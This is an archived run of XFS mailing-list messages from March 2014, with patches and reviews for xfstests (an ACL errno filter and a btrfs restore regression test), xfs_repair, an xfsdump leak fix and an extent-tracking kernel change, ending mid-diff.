From jeff.liu@oracle.com Tue Mar 11 07:48:32 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id F3FC87F3F for ; Tue, 11 Mar 2014 07:48:31 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id BE242304064 for ; Tue, 11 Mar 2014 05:48:31 -0700 (PDT) X-ASG-Debug-ID: 1394542110-04bdf05dac471a30001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id d7hyVqWKQGLTNzCG (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 11 Mar 2014 05:48:30 -0700 (PDT) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from ucsinet22.oracle.com (ucsinet22.oracle.com [156.151.31.94]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id s2BCmSQv018507 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 11 Mar 2014 12:48:28 GMT Received: from aserz7021.oracle.com (aserz7021.oracle.com [141.146.126.230]) by ucsinet22.oracle.com (8.14.5+Sun/8.14.5) with ESMTP id s2BCmQUa020350 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 11 Mar 2014 12:48:27 GMT Received: from abhmp0008.oracle.com (abhmp0008.oracle.com [141.146.116.14]) by aserz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s2BCmQYJ025335; Tue, 11 Mar 2014 12:48:26 GMT Received: from [192.168.1.102] (/124.131.59.132) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 11 Mar 2014 05:48:26 -0700 Message-ID: <531F0614.3050301@oracle.com> Date: Tue, 11 Mar 2014 20:48:20 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Dave Chinner CC: "xfs@oss.sgi.com" Subject: Re: [PATCH] xfstests: shared/051: update golden output to match the XFS max acl return errno References: <531D7897.2030800@oracle.com> <20140310205305.GY6851@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfstests: shared/051: update golden output to match the XFS max acl return errno In-Reply-To: <20140310205305.GY6851@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet22.oracle.com [156.151.31.94] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1394542110 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3787 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 03/11 2014 04:53 AM, Dave Chinner wrote: > On Mon, Mar 10, 2014 at 04:32:23PM +0800, Jeff Liu wrote: >> From: Jie Liu >> >> Update the golden output to match the recently XFS return errno >> changes if hit the limits of maximum number of ACLs. >> >> Signed-off-by: Jie Liu >> --- >> tests/shared/051.out | 2 +- >> 1 file changed, 1 insertion(+), 1 deletion(-) >> >> diff --git a/tests/shared/051.out b/tests/shared/051.out >> index a871082..354ec6a 100644 >> --- a/tests/shared/051.out >> +++ b/tests/shared/051.out >> @@ -280,7 +280,7 @@ mask::rwx >> other::rwx >> >> 1 above xfs acl max >> -chacl: cannot set access acl on "largeaclfile": Invalid argument >> +chacl: cannot set access acl on "largeaclfile": Argument list too long > > That breaks the test on older kernels. Can you add a filter that > kills the "Invalid argument"/"Argument list too long" part of the > error message so the same golden output works for old and new > kernels? How about the following revised version? maybe I missed you comments of "kills the...". Thanks, -Jeff From: Jie Liu On old kernel we return EINVAL if hit the limits of maximum number of ACLs but return E2BIG on new kernel, which cause the current test fails on new kernel as the output is mismatch to the goldens. In order to make the current golden output works for both old and new kernels, this patch filter the new error message out to match the olds. Signed-off-by: Jie Liu --- tests/shared/051 | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/tests/shared/051 b/tests/shared/051 index e957f86..157eb9c 100755 --- a/tests/shared/051 +++ b/tests/shared/051 @@ -342,7 +342,10 @@ chacl $acl2 largeaclfile getfacl --numeric largeaclfile | _filter_aces echo "1 above xfs acl max" -chacl $acl3 largeaclfile +# we return E2BIG if hit the max acl limits on new kernel, but EINVAL +# on old kernel. So we need to filter the error message out in order +# to make the current golden output works for both old and new kernels. +chacl $acl3 largeaclfile 2>&1 | sed -e "s/Argument list too long/Invalid argument/" getfacl --numeric largeaclfile | _filter_aces echo "use 16 aces" -- 1.8.3.2 From sandeen@sandeen.net Tue Mar 11 08:29:56 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B10467F3F for ; Tue, 11 Mar 2014 08:29:56 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id A295F304051 for ; Tue, 11 Mar 2014 06:29:53 -0700 (PDT) X-ASG-Debug-ID: 1394544592-04cb6c567644ac70001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id CwDL42Qibyg1Z3zX for ; Tue, 11 Mar 2014 06:29:52 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id CD2566373602; Tue, 11 Mar 2014 08:29:51 -0500 (CDT) Message-ID: <531F0FCF.2000807@sandeen.net> Date: Tue, 11 Mar 2014 08:29:51 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Dave Chinner , xfs@oss.sgi.com Subject: Re: [PATCH] repair: ensure that unused superblock fields are zeroed References: <1394518948-1506-1-git-send-email-david@fromorbit.com> X-ASG-Orig-Subj: Re: [PATCH] repair: ensure that unused superblock fields are zeroed In-Reply-To: <1394518948-1506-1-git-send-email-david@fromorbit.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1394544592 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3788 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 3/11/14, 1:22 AM, Dave Chinner wrote: > From: Dave Chinner > > When we grab a superblock off disk via get_sb(), we don't know what > the in-memory superblock we are filling out contained. We ned to > ensure that the entire structure is returned in an initialised > state regardless of which fields libxfs_sb_from_disk() populates > from disk. In this case, it doesn't populate the sb_crc field, > and so uninitialised values can escape through to disk on v4 > filesystems because of this. This causes xfs/031 to fail on v4 > filesystems. > > Reported-by: Eric Sandeen > Signed-off-by: Dave Chinner cool, thanks for finding that "overnight." :) Reviewed-by: Eric Sandeen > --- > repair/sb.c | 1 + > 1 file changed, 1 insertion(+) > > diff --git a/repair/sb.c b/repair/sb.c > index b111aca..d928dc0 100644 > --- a/repair/sb.c > +++ b/repair/sb.c > @@ -518,6 +518,7 @@ get_sb(xfs_sb_t *sbp, xfs_off_t off, int size, xfs_agnumber_t agno) > exit(1); > } > memset(buf, 0, size); > + memset(sbp, 0, sizeof(*sbp)); > > /* try and read it first */ > > From fdmanana@gmail.com Tue Mar 11 08:41:10 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 25CCC7F3F for ; Tue, 11 Mar 2014 08:41:10 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 96B41AC004 for ; Tue, 11 Mar 2014 06:41:06 -0700 (PDT) X-ASG-Debug-ID: 1394545264-04cb6c567644ba60001-NocioJ Received: from mail-wg0-f52.google.com (mail-wg0-f52.google.com [74.125.82.52]) by cuda.sgi.com with ESMTP id PTJ5yN0onpSNgc1f (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 11 Mar 2014 06:41:04 -0700 (PDT) X-Barracuda-Envelope-From: fdmanana@gmail.com X-Barracuda-Apparent-Source-IP: 74.125.82.52 Received: by mail-wg0-f52.google.com with SMTP id k14so10104296wgh.23 for ; Tue, 11 Mar 2014 06:41:03 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id:in-reply-to:references; bh=d11wcGorX0+J3ferqEG437S7Ac+2q/H6u5IHM3DmL90=; b=NPwfJsE+CwqtBiLNAZUmrztfAgMMwHxCDCZmu1ohJOadRXUDc+aZK2C4NEUh9ihs1N kO98C2FxYITkrwvx6N6sl+P2TEoCbSG3Ynmpkkct5h8y+RVUgXbCrARmVZHacMGldwad YFnZ9eqjyLUbOaTFfMrIEAFdqYHsdpXuQuYjNeTcr5nZuoDXHg3TooZc59a4C61aDC7X 3kw1xs8f6XDpvhg7nIjyf5Ag/V8hmGFjz3kIDj9GubK9/3MgFv4tBwFRJOzu/BfBcWDO /jDoaxffh/NgqJhDfdRCpGvShaezgila2zKAch2magSWV+EFphVBC1XUVUvIEx7Yv/jR m78g== X-Received: by 10.180.19.35 with SMTP id b3mr3231383wie.20.1394545263765; Tue, 11 Mar 2014 06:41:03 -0700 (PDT) Received: from storm-desktop.lan (bl10-252-34.dsl.telepac.pt. [85.243.252.34]) by mx.google.com with ESMTPSA id jd2sm6702196wic.9.2014.03.11.06.41.02 for (version=TLSv1.1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Tue, 11 Mar 2014 06:41:02 -0700 (PDT) From: Filipe David Borba Manana To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org, jbacik@fb.com, Filipe David Borba Manana Subject: [PATCH v4] xfstests: add test for btrfs-progs restore feature Date: Tue, 11 Mar 2014 13:40:39 +0000 X-ASG-Orig-Subj: [PATCH v4] xfstests: add test for btrfs-progs restore feature Message-Id: <1394545239-7060-1-git-send-email-fdmanana@gmail.com> X-Mailer: git-send-email 1.7.9.5 In-Reply-To: <1393352816-26065-1-git-send-email-fdmanana@gmail.com> References: <1393352816-26065-1-git-send-email-fdmanana@gmail.com> X-Barracuda-Connect: mail-wg0-f52.google.com[74.125.82.52] X-Barracuda-Start-Time: 1394545264 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3788 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature This is a regression test to verify that the restore feature of btrfs-progs is able to correctly recover files that have compressed extents, specially when the respective file extent items have a non-zero data offset field. This issue is fixed by the following btrfs-progs patch: Btrfs-progs: fix restore dealing with compressed extents Signed-off-by: Filipe David Borba Manana --- V2: Fixed title of btrfs-progs patch in the comment and commit message. V3: Make use of TEST_DIR instead of /tmp, defined $here=`pwd` and better comments about the conditions necessary to make the test fail. As suggested by Dave Chinner. V4: Use a dedicated directory to place the restore files, as suggested by Josef. tests/btrfs/043 | 113 +++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/043.out | 40 ++++++++++++++++++ tests/btrfs/group | 1 + 3 files changed, 154 insertions(+) create mode 100755 tests/btrfs/043 create mode 100644 tests/btrfs/043.out diff --git a/tests/btrfs/043 b/tests/btrfs/043 new file mode 100755 index 0000000..d0a7152 --- /dev/null +++ b/tests/btrfs/043 @@ -0,0 +1,113 @@ +#! /bin/bash +# FS QA Test No. btrfs/043 +# +# Test that btrfs-progs' restore command is able to correctly recover files +# that have compressed extents, specially when the respective file extent +# items have a non-zero data offset field. +# +# This issue is fixed by the following btrfs-progs patch: +# +# Btrfs-progs: fix restore of files with compressed extents +# +#----------------------------------------------------------------------- +# Copyright (c) 2014 Filipe Manana. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +restore_dir=$TEST_DIR/btrfs-test-$seq + +_cleanup() +{ + rm -fr $tmp + rm -fr $restore_dir +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs btrfs +_supported_os Linux +_require_scratch +_need_to_be_root + +rm -f $seqres.full +mkdir $restore_dir + +test_btrfs_restore() +{ + if [ -z $1 ] + then + OPTIONS="" + else + OPTIONS="-o compress-force=$1" + fi + _scratch_mkfs >/dev/null 2>&1 + _scratch_mount $OPTIONS + + # Create first file extent item, then fsync to make sure the next write + # won't end up in the same file extent item, so that we have 2 distinct + # file extent items. + $XFS_IO_PROG -f -c "pwrite -S 0xff -b 100000 0 100000" -c "fsync" \ + $SCRATCH_MNT/foo | _filter_xfs_io + + # This creates a second file extent item. + $XFS_IO_PROG -c "pwrite -S 0xaa -b 100000 100000 100000" -c "fsync" \ + $SCRATCH_MNT/foo | _filter_xfs_io + + # Now do a few writes that will cause the first extent item to be split, + # with some of the new smaller file extent items getting a data offset + # field different from 0. + $XFS_IO_PROG -c "pwrite -S 0x1e -b 2 10000 2" $SCRATCH_MNT/foo \ + | _filter_xfs_io + $XFS_IO_PROG -c "pwrite -S 0xd0 -b 11 33000 11" $SCRATCH_MNT/foo \ + | _filter_xfs_io + $XFS_IO_PROG -c "pwrite -S 0xbc -b 100 99000 100" $SCRATCH_MNT/foo \ + | _filter_xfs_io + + md5sum $SCRATCH_MNT/foo | _filter_scratch + + _scratch_unmount + + rm -f $restore_dir/foo + # Now that the fs is unmounted, call btrfs restore to read the file + # from disk and save it in the test directory. It used to incorrectly + # read compressed file extents that have a non-zero data offset field, + # resulting either in decompression failure or reading a wrong section + # of the extent. + _run_btrfs_util_prog restore $SCRATCH_DEV $restore_dir + md5sum $restore_dir/foo | cut -d ' ' -f 1 +} + +echo "Testing restore of file compressed with lzo" +test_btrfs_restore "lzo" +echo "Testing restore of file compressed with zlib" +test_btrfs_restore "zlib" +echo "Testing restore of file without any compression" +test_btrfs_restore + +status=0 +exit diff --git a/tests/btrfs/043.out b/tests/btrfs/043.out new file mode 100644 index 0000000..d22e4ce --- /dev/null +++ b/tests/btrfs/043.out @@ -0,0 +1,40 @@ +QA output created by 043 +Testing restore of file compressed with lzo +wrote 100000/100000 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 100000/100000 bytes at offset 100000 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 2/2 bytes at offset 10000 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 11/11 bytes at offset 33000 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 100/100 bytes at offset 99000 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +67edd038aaa42adb5a1aa78f2eb1d2b6 SCRATCH_MNT/foo +67edd038aaa42adb5a1aa78f2eb1d2b6 +Testing restore of file compressed with zlib +wrote 100000/100000 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 100000/100000 bytes at offset 100000 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 2/2 bytes at offset 10000 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 11/11 bytes at offset 33000 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 100/100 bytes at offset 99000 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +67edd038aaa42adb5a1aa78f2eb1d2b6 SCRATCH_MNT/foo +67edd038aaa42adb5a1aa78f2eb1d2b6 +Testing restore of file without any compression +wrote 100000/100000 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 100000/100000 bytes at offset 100000 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 2/2 bytes at offset 10000 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 11/11 bytes at offset 33000 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 100/100 bytes at offset 99000 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +67edd038aaa42adb5a1aa78f2eb1d2b6 SCRATCH_MNT/foo +67edd038aaa42adb5a1aa78f2eb1d2b6 diff --git a/tests/btrfs/group b/tests/btrfs/group index 1037761..fabe3b5 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -45,3 +45,4 @@ 040 auto quick 041 auto quick 042 auto quick +043 auto quick -- 1.7.9.5 From ranto.boris@gmail.com Tue Mar 11 08:55:50 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 274FD7F3F for ; Tue, 11 Mar 2014 08:55:50 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id E335E304059 for ; Tue, 11 Mar 2014 06:55:49 -0700 (PDT) X-ASG-Debug-ID: 1394546147-04bdf05daa476710001-NocioJ Received: from mail-qc0-f170.google.com (mail-qc0-f170.google.com [209.85.216.170]) by cuda.sgi.com with ESMTP id Rpw1AtCATcxDfJxJ (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 11 Mar 2014 06:55:48 -0700 (PDT) X-Barracuda-Envelope-From: ranto.boris@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.216.170 X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.170] Received: by mail-qc0-f170.google.com with SMTP id e9so9466366qcy.15 for ; Tue, 11 Mar 2014 06:55:46 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.170] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.170] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=message-id:subject:from:to:cc:date:in-reply-to:references :content-type:mime-version:content-transfer-encoding; bh=JW5TyJuI0pmraEN+HdCrO/1pHWb0RKyhYnEqPcFp1Q4=; b=ypYFr8NkSkvx1U15oxCKfhh/qI4X4YdyhLuvIqap2654uuH+pDpPofCQ0d5A4qDxWa /69Znaprmu/VR08e2jWHwODrTj0ebdJ8Tu88Pga1df3Y5GoWXDACOV9xrtf49aYUcU7C RMuQhtrdzUi1eTqLiY4I9LJCBbJfcXF0X3YYvBHlRX49Ygn1NLVU0fvoW62xYVpf4yUX 7NX5q0/sQ8mVLBZnc3Xhxij3R9yUFyotZ8yRrMRXchKVkO5B4pl8gGXq6nwvXEdQs2KR UmuP4kdvVYsN8KGqGgjJpKgOZIpafNYaTWxTKNDv+1qAS2vg1xcClArSNjbeUWWbe0se fE+w== X-Received: by 10.140.48.5 with SMTP id n5mr2619106qga.90.1394546146562; Tue, 11 Mar 2014 06:55:46 -0700 (PDT) Received: from [192.168.1.103] (ip-89-102-10-111.net.upcbroadband.cz. [89.102.10.111]) by mx.google.com with ESMTPSA id u10sm68229401qar.21.2014.03.11.06.55.44 for (version=SSLv3 cipher=RC4-SHA bits=128/128); Tue, 11 Mar 2014 06:55:45 -0700 (PDT) Message-ID: <1394546142.27741.7.camel@archie> Subject: Re: [PATCH v2] xfsdump: Fix memory and fd leak in invutil/stobj.c From: Boris Ranto X-ASG-Orig-Subj: Re: [PATCH v2] xfsdump: Fix memory and fd leak in invutil/stobj.c To: Brian Foster Cc: xfs@oss.sgi.com, Boris Ranto Date: Tue, 11 Mar 2014 14:55:42 +0100 In-Reply-To: <20140307184812.GA19284@laptop.bfoster> References: <1394203962-17080-1-git-send-email-ranto.boris@gmail.com> <20140307184812.GA19284@laptop.bfoster> Content-Type: text/plain; charset="UTF-8" X-Mailer: Evolution 3.10.4 Mime-Version: 1.0 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail-qc0-f170.google.com[209.85.216.170] X-Barracuda-Start-Time: 1394546148 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3789 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Fri, 2014-03-07 at 13:48 -0500, Brian Foster wrote: > On Fri, Mar 07, 2014 at 03:52:42PM +0100, Boris Ranto wrote: > > The function open_stobj duplicates its argument, upon successful > > duplication, the fstat is called. If the fstat command fails then > > the memory for the duplicated string is leaked. Fix this by moving > > the string duplication after the fstat call. This is ok because > > the fstat call does not use the duplicated string. > > > > Brian Foster noticed that the function also leaks a file descriptor > > in case the file cannot be fstated. Fixing that, too. > > > > Signed-off-by: Boris Ranto > > --- > > invutil/stobj.c | 13 +++++++------ > > 1 file changed, 7 insertions(+), 6 deletions(-) > > > > diff --git a/invutil/stobj.c b/invutil/stobj.c > > index 428b419..a74ba0f 100644 > > --- a/invutil/stobj.c > > +++ b/invutil/stobj.c > > @@ -578,23 +578,24 @@ open_stobj(char *StObjFileName) > > return fd; > > } > > > > - name = strdup(StObjFileName); > > - if(name == NULL) { > > - fprintf(stderr, "%s: internal memory error: strdup stobj_name\n", g_programName); > > - exit(1); > > - } > > - > > read_n_bytes(fd, &cnt, sizeof(invt_sescounter_t), StObjFileName); > > lseek( fd, 0, SEEK_SET ); > > errno = 0; > > if (fstat(fd, &sb) < 0) { > > fprintf(stderr, "Could not get stat info on %s\n", StObjFileName); > > perror("fstat"); > > + close(fd); > > return -1; > > } > > size = sb.st_size; > > mapaddr = mmap_n_bytes(fd, size, BOOL_FALSE, StObjFileName); > > > > + name = strdup(StObjFileName); > > + if(name == NULL) { > > + fprintf(stderr, "%s: internal memory error: strdup stobj_name\n", g_programName); > > + exit(1); > > + } > > + > > return add_stobj(name, fd, size, mapaddr, (invt_sescounter_t *)mapaddr); > > } > > > > The remaining failure cases all appear to exit(), including those in > add_stobj(). Looks good to me, thanks for making that fix... > > Reviewed-by: Brian Foster > No problem, thanks for the review. And yes, I've also looked at the remaining cases and did not update them because they all just exited. Boris > > -- > > 1.9.0 > > > > _______________________________________________ > > xfs mailing list > > xfs@oss.sgi.com > > http://oss.sgi.com/mailman/listinfo/xfs From bfoster@redhat.com Tue Mar 11 10:32:16 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 19D197F3F for ; Tue, 11 Mar 2014 10:32:16 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 6DA4AAC001 for ; Tue, 11 Mar 2014 08:32:12 -0700 (PDT) X-ASG-Debug-ID: 1394551930-04cb6c5675454790001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id lLjEBBSKTsW381zx for ; Tue, 11 Mar 2014 08:32:10 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s2BFVi3x032515 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 11 Mar 2014 11:31:44 -0400 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s2BFVdTT021230; Tue, 11 Mar 2014 11:31:39 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 4CF7B123AB2; Tue, 11 Mar 2014 11:31:38 -0400 (EDT) Date: Tue, 11 Mar 2014 11:31:38 -0400 From: Brian Foster To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfs: merge xfs_bmap_free_item and xfs_extent_busy Message-ID: <20140311153135.GA37254@bfoster.bfoster> X-ASG-Orig-Subj: Re: [PATCH] xfs: merge xfs_bmap_free_item and xfs_extent_busy References: <20140307105535.GA7850@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140307105535.GA7850@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1394551930 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Fri, Mar 07, 2014 at 02:55:35AM -0800, Christoph Hellwig wrote: > Merge the two structures to track a freed extent into a single one, to simply > tracking the flow in the extent free code and reduce the amount of required > memory allocations. > > Signed-off-by: Christoph Hellwig > > diff --git a/fs/xfs/xfs_alloc.c b/fs/xfs/xfs_alloc.c > index c1cf6a3..656991d 100644 > --- a/fs/xfs/xfs_alloc.c > +++ b/fs/xfs/xfs_alloc.c > @@ -2579,37 +2579,41 @@ error0: > return error; > } > > -/* > - * Free an extent. > - * Just break up the extent address and hand off to xfs_free_ag_extent > - * after fixing up the freelist. > - */ > -int /* error */ > -xfs_free_extent( > - xfs_trans_t *tp, /* transaction pointer */ > - xfs_fsblock_t bno, /* starting block number of extent */ > - xfs_extlen_t len) /* length of extent */ > +struct xfs_freed_extent * > 